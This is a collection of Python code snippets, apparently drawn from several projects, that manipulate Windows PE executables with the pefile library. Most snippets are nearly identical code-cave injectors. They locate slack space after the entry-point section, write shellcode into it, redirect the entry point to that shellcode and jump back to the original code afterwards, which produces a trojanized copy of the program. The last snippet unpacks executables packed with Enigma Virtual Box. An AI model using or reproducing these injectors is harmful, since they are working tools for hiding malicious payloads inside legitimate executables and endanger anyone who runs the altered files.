def main(exe_file, shellcode): if not (os.path.isfile(exe_file)): print( "\nExecutable file cant detected ! \n Please try with full path.\n" ) return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format(covecavelenght(pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print("\nNew file : {0} saved !").format(final_pe_file) print('[*] Job Done! :)')
def inject(): class NotEnoughSize(Exception): pass exe_file = res.BINARY final_pe_file = '{}_injected'.format(res.BINARY) shellcode = scode pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva( pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: summary.append( logs.err('Not enough size for shellcode injection', prnt=False)) else: #logs.good('Found {} bytes of empty space'.format(padd)) scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) pusha = '\x60' popa = '\x61' shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() summary.append( logs.good('Succesfully injected shellcode', prnt=False))
def injectPE(filename, shellcode, output_file): pe = PE(filename) original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint (end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe) # check permissions print '[*] Permissions for entry point\'s section :', permissions.items() if permissions['exec'] == False: print '[!] Entry point is not executable! Wtf? Exiting!' exit(1) # check for enough padding to fit the payload print '[*] Found %d bytes of padding' % padding sc_size = len(shellcode)+7 # +1 pusha, +1 popa, +5 rel32 jmp if padding < sc_size: print '[!] Not enough padding to insert shellcode :(' exit(1) else: print ' [+] There is enough room for the shellcode!' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset_aligned)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % (end_offset, end_offset_aligned) # use the right-most bytes available sc_end_offset = end_offset_aligned sc_start_offset = sc_end_offset - sc_size print '[*] Placing the payload at :' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_start_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_end_offset)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset, sc_end_offset) # change the entry point changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset)) raw_data = pe.write() jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset) # fix the shellcode to save register contents and jmp to original entry after completion shellcode = fixShellcode(shellcode, jmp_distance) raw_data = insertShellcode(raw_data, sc_start_offset, shellcode) # write the new file pe.close() # close the 'opened' PE first new_file = open(output_file, 'wb') new_file.write(raw_data) new_file.close() print '[*] New file created :)'
def main( exe_file, shellcode): if not (os.path.isfile( exe_file)): print("\nExecutable file cant detected ! \n Please try with full path.\n") return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(shellcode)+7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format( covecavelenght( pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print ("\nNew file : {0} saved !").format( final_pe_file) print ('[*] Job Done! :)')
def injectPE(filename, shellcode, output_file): pe = PE(filename) original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint (end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe) # check permissions print '[*] Permissions for entry point\'s section :', permissions.items() if permissions['exec'] == False: print '[!] Entry point is not executable! Wtf? Exiting!' exit(1) # check for enough padding to fit the payload print '[*] Found %d bytes of padding' % padding sc_size = len(shellcode) + 7 # +1 pusha, +1 popa, +5 rel32 jmp if padding < sc_size: print '[!] Not enough padding to insert shellcode :(' exit(1) else: print ' [+] There is enough room for the shellcode!' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % ( pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(end_offset), pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(end_offset_aligned)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % ( end_offset, end_offset_aligned) # use the right-most bytes available sc_end_offset = end_offset_aligned sc_start_offset = sc_end_offset - sc_size print '[*] Placing the payload at :' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % ( pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_start_offset), pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_end_offset)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset, sc_end_offset) # change the entry point changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset)) raw_data = pe.write() jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset) # fix the shellcode to save register contents and jmp to original entry after completion shellcode = fixShellcode(shellcode, jmp_distance) raw_data = insertShellcode(raw_data, sc_start_offset, shellcode) # write the new file pe.close() # close the 'opened' PE first new_file = open(output_file, 'wb') new_file.write(raw_data) new_file.close() print '[*] New file created :)'
class PEFile(ExecutableFormat): bitnessMapping = None @classmethod def initClass(cls) -> None: cls.bitnessMapping = { pefile.OPTIONAL_HEADER_MAGIC_PE: 32, pefile.OPTIONAL_HEADER_MAGIC_PE_PLUS: 64 } def __child_enter__(self) -> None: self.lib = PE(data=self.map) self.bitness = self.__class__.bitnessMapping[self.lib.PE_TYPE] @property def imageBase(self) -> int: return self.lib.OPTIONAL_HEADER.ImageBase def findVA(self, name: str) -> typing.Optional[int]: """Gets a symbol addr from PE export table""" name = name.encode("ascii") for exp in self.lib.DIRECTORY_ENTRY_EXPORT.symbols: if exp.name == name: return exp.address + self.imageBase def raw2Offset(self, raw: int) -> int: return self.RVA2Offset(self.raw2RVA(raw)) def RVA2Offset(self, rva: int) -> int: return self.lib.get_offset_from_rva(rva) def offset2RVA(self, offset: int) -> int: return self.lib.get_rva_from_offset(offset) def RVA2Raw(self, RVA: int) -> int: return self.imageBase + RVA def raw2RVA(self, raw: int) -> int: return raw - self.imageBase def offset2Raw(self, offset: int) -> int: return self.RVA2Raw(self.offset2RVA(offset))
exe_file = raw_input("Enter Path To Exe File ") final_pe_file = raw_input("Enter Path To New Exe File: ") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(sample_shell_code) + 7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) sample_shell_code = "\x60%s\x61\xe9%s" % (sample_shell_code, pack("I", jmp_to & 0xFFFFFFFF)) final_data = list(raw_pe_data) final_data[scode_start_off : scode_start_off + len(sample_shell_code)] = sample_shell_code final_data = "".join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, "wb") new_file.write(raw_pe_data) new_file.close() print "New File : " + final_pe_file
exe_file = raw_input('[*] Enter full path of the main executable :') final_pe_file = raw_input('[*] Enter full path of the output executable :') pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(sample_shell_code)+7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) sample_shell_code = '\x60%s\x61\xe9%s' % (sample_shell_code, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(sample_shell_code)] = sample_shell_code final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print '[*] Job Done! :)'
def restore_pe(file,output): # PEfile isn't the best for this job, but we'll get it done ;) # TODO : Recaluclate SizeOfImage to match the acutal file from pefile import PE,OPTIONAL_HEADER_MAGIC_PE_PLUS print('[-] Loading PE...') pe = PE(file,fast_load=True) PE64 = pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS pe.__data__ = bytearray(pe.__data__) # This allows us to apply slicing on the PE data # Helpers find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections)) find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY)) # Data enigma1 = pe.__data__[find_section(b'.enigma1').PointerToRawData:] hdr = unpack(EVB_ENIGMA1_HEADER,enigma1,104 if PE64 else 76) # Restore section with built-in offsets. All these ADDRESSes are VAs find_data_directory('IMPORT').VirtualAddress = hdr['IMPORT_ADDRESS'] find_data_directory('IMPORT').Size = hdr['IMPORT_SIZE'] find_data_directory('RELOC').VirtualAddress = hdr['RELOC_ADDRESS'] find_data_directory('RELOC').Size = hdr['RELOC_SIZE'] print('[-] Rebuilding Exception directory...') # Rebuild the exception directory exception_dir = find_data_directory('EXCEPTION') exception_raw_ptr = pe.get_offset_from_rva(exception_dir.VirtualAddress) exception_data = pe.__data__[exception_raw_ptr:exception_raw_ptr + exception_dir.Size] exception_struct = PE64_EXCEPTION if PE64 else PE_EXCEPTION exception_end = 0 for i in range(0,exception_dir.Size,get_size_by_struct(exception_struct)): block = unpack(exception_struct,exception_data[i:]) block['section'] = pe.get_section_by_rva(block['BEGIN_ADDRESS']) exception_end = i if b'.enigma' in block['section'].Name: break exception_data = exception_data[:exception_end] # Prepare partial TLS data for searching tls_dir = find_data_directory('TLS') tls_raw_ptr = pe.get_offset_from_rva(tls_dir.VirtualAddress) tls_data = bytearray(pe.__data__[tls_raw_ptr:tls_raw_ptr + tls_dir.Size]) original_callback = hdr['TLS_CALLBACK_RVA'] + pe.OPTIONAL_HEADER.ImageBase original_callback = struct.pack('<' + ('Q' if PE64 else 'I'),original_callback) if (PE64): tls_data += original_callback # AddressOfCallBacks else: tls_data[12:16] = original_callback # AddressOfCallBacks tls_data = tls_data[:16] # Destory .enigma* sections pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] + pe.__data__[find_section(b'.enigma2').PointerToRawData + find_section(b'.enigma2').SizeOfRawData:] # If original program has a overlay, this will perserve it. Otherwise it's okay to remove them anyway. assert pe.sections.pop().Name == b'.enigma2' assert pe.sections.pop().Name == b'.enigma1' pe.FILE_HEADER.NumberOfSections -= 2 # NOTE: .enigma1 contains the VFS, as well as some Optional PE Header info as descrbied above # NOTE: .enigma2 is a aplib compressed loader DLL. You can decompress it with aplib provided in this repo if (exception_data): # Reassign the RVA & sizes print('[-] Rebuilt Exception directory. Size=0x%x' % len(exception_data)) # Find where this could be placed at...since EVB clears the original exception directory listings # PEs with overlays won't work at all if EVB packed them. # We must remove the sections and do NOT append anything new offset = 0 for section in pe.sections: offset_ = pe.__data__.find(b'\x00' * len(exception_data),section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData) if offset_ > 0: # Check for references in the Optional Data Directory # The offset should not be referenced otherwise we would overwrite existing data for header in pe.OPTIONAL_HEADER.DATA_DIRECTORY: if pe.get_rva_from_offset(offset_) in range(header.VirtualAddress,header.VirtualAddress+header.Size): offset = 0 break else: offset = offset_ if offset > 0: break assert offset > 0,"Cannot place Exceptions Directory!" section = pe.get_section_by_rva(pe.get_rva_from_offset(offset)) print('[-] Found suitable section to place Exception Directory. Name=%s RVA=0x%x' % (section.Name.decode(),offset - section.PointerToRawData)) pe.__data__[offset:offset+len(exception_data)] = exception_data section.SizeOfRawData = max(section.SizeOfRawData,len(exception_data)) exception_dir.VirtualAddress = pe.get_rva_from_offset(offset) exception_dir.Size = len(exception_data) else: print('[-] Original program does not contain Exception Directory.') exception_dir.VirtualAddress = 0 exception_dir.Size = 0 offset = pe.__data__.find(tls_data) # Append the exception section and assign the pointers # Serach for TLS in memory map since it's not removed. tls_dir = find_data_directory('TLS') if (offset > 0): print('[-] TLS Directory found. Offset=0x%x' % offset) tls_dir.VirtualAddress = pe.get_rva_from_offset(offset) tls_dir.Size = 40 if PE64 else 24 else: print('[-] Original program does not utilize TLS.') tls_dir.VirtualAddress = 0 tls_dir.Size = 0 # Write to new file pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX pe_name = os.path.join(output,pe_name).replace('\\','/') new_file_data = pe.write() write_bytes(BytesIO(new_file_data),open(pe_name,'wb+'),len(new_file_data),desc='Saving PE') print('[-] Original PE saved:',pe_name)